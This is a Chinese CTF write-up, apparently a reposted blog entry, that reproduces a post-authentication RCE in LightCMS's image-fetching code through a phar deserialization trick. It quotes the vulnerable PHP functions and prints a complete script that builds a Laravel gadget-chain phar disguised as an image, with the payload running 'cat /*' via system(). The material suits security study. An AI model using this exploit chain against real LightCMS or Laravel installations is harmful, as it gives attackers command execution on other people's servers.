前言
去突击了一个星期的计算方法期末考试,中间耽误了很多比赛题目的复现。今年红帽最后的那道EzLight赛后也有了writeup,直到今天才有时间去复现一下。
参考了郭院士和颖奇师傅的文章:
lightcms后台RCE漏洞挖掘
lightcms全版本后台rce 0day分析
他们的文章讲的已经非常非常的详细了,因此我这里就不做过多的解释了。就是跟着大师傅们的思路,也自己把这个代码的流程看了一遍,因此我这篇文章其实没啥看的,就是我自己记录一下我的复现过程,师傅们看郭院士和颖奇师傅的文章就可以了。
复现
网上直接搜的话可以搜到这个CVE:CVE-2021-27112。这个也是郭院士挖出来的,可以查到issue:
Arbitrary file read & RCE vulnerability in "catchImage
app/Http/Controllers/Admin/NEditorController.php
的catchImage
:
这里简单使用了 file_get_contents来获取文件内容,并保存,所以我们可以使用file协议实现任意文件读取等ssrf操作。更危险的是这里的逻辑是取到的文件名后缀是什么,保存的就是什么后缀,所以我们可以放一个php一句话在服务器上,然后来请求,那么我们就可以getshell。
之后进行了修复,郭院士又挖了个0day。我觉得最难想的就是联想到利用phar反序列化。一般可能我是需要看到文件操作的函数才有可能联想到phar的反序列化,而郭院士则是先考虑利用反序列化再去利用文件操作的函数,而且确实找到了,膜。
从这里fetchImageFile
函数入手
进入后是一个curl请求资源:
protected function fetchImageFile($url)
{
try {
if (!filter_var($url, FILTER_VALIDATE_URL)) {
return false;
}
$ch = curl_init();
$options = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2'
];
curl_setopt_array($ch, $options);
$data = curl_exec($ch);
curl_close($ch);
if (!$data) {
return false;
}
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}
} catch (NotReadableException $e) {
return false;
}
$mime = $image->mime();
return [
'extension' => $extension ?? ($mime ? strtolower(explode('/', $mime)[1]) : ''),
'data' => $data
];
}
对请求到的内容还有一个处理:
if (isWebp($data)) {
$image = Image::make(imagecreatefromwebp($url));
$extension = 'webp';
} else {
$image = Image::make($data);
}
跟进Image::make
方法,中间会经过一些函数,本地打一下断点跟进一下,最终是进到这里:
public function init($data)
{
$this->data = $data;
$a = (bool) filter_var($this->data, FILTER_VALIDATE_URL);
switch (true) {
case $this->isGdResource():
return $this->initFromGdResource($this->data);
case $this->isImagick():
return $this->initFromImagick($this->data);
case $this->isInterventionImage():
return $this->initFromInterventionImage($this->data);
case $this->isSplFileInfo():
return $this->initFromPath($this->data->getRealPath());
case $this->isBinary():
return $this->initFromBinary($this->data);
case $this->isUrl():
return $this->initFromUrl($this->data);
case $this->isStream():
return $this->initFromStream($this->data);
case $this->isDataUrl():
return $this->initFromBinary($this->decodeDataUrl($this->data));
case $this->isFilePath():
return $this->initFromPath($this->data);
// isBase64 has to be after isFilePath to prevent false positives
case $this->isBase64():
return $this->initFromBinary(base64_decode($this->data));
default:
throw new NotReadableException("Image source not readable");
}
}
比赛的时候自己也跟到这里了,也调了几个函数看,但是是真的真的想不到利用phar反序列化,真的有些膜郭院士的思路,其实也是自己对于laravel一点不熟,如果换成thinkphp的说不定自己还能想到反序列化。还是太菜了,有空再学一波laravel的反序列化。
跟进这里:
case $this->isUrl():
return $this->initFromUrl($this->data);
可以发现正好有一个file_get_contents
函数:
public function initFromUrl($url)
{
$options = [
'http' => [
'method'=>"GET",
'header'=>"Accept-language: en\r\n".
"User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.2 (KHTML, like Gecko) Chrome/22.0.1216.0 Safari/537.2\r\n"
]
];
$context = stream_context_create($options);
if ($data = @file_get_contents($url, false, $context)) {
return $this->initFromBinary($data);
}
throw new NotReadableException(
"Unable to init from given url (".$url.")."
);
}
这里的$url
就是一开始curl请求得到的data。至此整个利用就清晰了。按照文章中的攻击方式打一遍。
获得phar图片:
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent
{
protected $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace{
$command = new Illuminate\Broadcasting\BroadcastEvent('cat /*');
$dispater = new Illuminate\Bus\Dispatcher("system");
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($PendingBroadcast);
$phar -> stopBuffering();
rename('phar.phar','phar.jpg');
}
然后上传:
本地vps那里写:
这里我踩了一个坑。如果在vim里写的话,你curl得到的不是
phar://./upload/image/202105/oqhLzf3OsO6hnFswe0P9XhKHZe19XNh51SttFxvO.gif
而是:
phar://./upload/image/202105/oqhLzf3OsO6hnFswe0P9XhKHZe19XNh51SttFxvO.gif\n
就因为后面多了那个\n
,导致这里过不了,返回的是false:
public function isUrl()
{
return (bool) filter_var($this->data, FILTER_VALIDATE_URL);
}
所以我就不用vim写了。然后直接请求,phar反序列化攻击成功:
转载:https://blog.csdn.net/rfrder/article/details/116994343